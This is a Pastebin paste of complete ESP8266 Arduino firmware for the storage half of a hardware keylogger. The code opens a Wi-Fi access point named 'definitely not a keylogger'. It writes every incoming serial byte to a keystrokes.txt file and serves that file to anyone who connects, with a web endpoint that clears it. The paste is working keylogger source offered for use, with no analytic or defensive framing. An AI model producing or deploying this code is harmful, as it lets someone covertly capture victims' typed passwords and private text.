Advertisement
FlyFar

esp8266_saveSerial.ino

Jul 22nd, 2023
1,434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 1.22 KB | Cybersecurity | 0 0
  1. #include <ESP8266WiFi.h>
  2. #include <FS.h>
  3. #include <ESP8266mDNS.h>
  4. #include <ESPAsyncTCP.h>
  5. #include <ESPAsyncWebServer.h>
  6. #include <SPIFFSEditor.h>
  7. #include <EEPROM.h>
  8.  
  9. #define BAUD_RATE 115200
  10.  
  11. /* ============= CHANGE WIFI CREDENTIALS ============= */
  12. const char *ssid = "definitely not a keylogger";
  13. const char *password = "!keylogger"; //min 8 chars
  14. /* ============= ======================= ============= */
  15.  
  16. AsyncWebServer server(80);
  17. FSInfo fs_info;
  18. File f;
  19.  
  20. void setup() {
  21.  
  22.   Serial.begin(BAUD_RATE);
  23.  
  24.   //Serial.println(WiFi.SSID());
  25.   WiFi.mode(WIFI_STA);
  26.   WiFi.softAP(ssid,password);
  27.  
  28.   EEPROM.begin(4096);
  29.   SPIFFS.begin();
  30.  
  31.   MDNS.addService("http","tcp",80);
  32.  
  33.   f = SPIFFS.open("/keystrokes.txt", "a+");
  34.   if(!f) Serial.println("file open failed");
  35.  
  36.   server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){
  37.     request->send(SPIFFS, "/keystrokes.txt", "text/plain");
  38.   });
  39.  
  40.   server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){
  41.     f.close();
  42.     f = SPIFFS.open("/keystrokes.txt", "w");
  43.     request->send(200, "text/plain", "file cleared!");
  44.   });
  45.  
  46.   server.begin();
  47. }
  48.  
  49. void loop() {
  50.  
  51.   if(Serial.available()) {
  52.     f.write(Serial.read());
  53.   }
  54.  
  55. }
  56.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement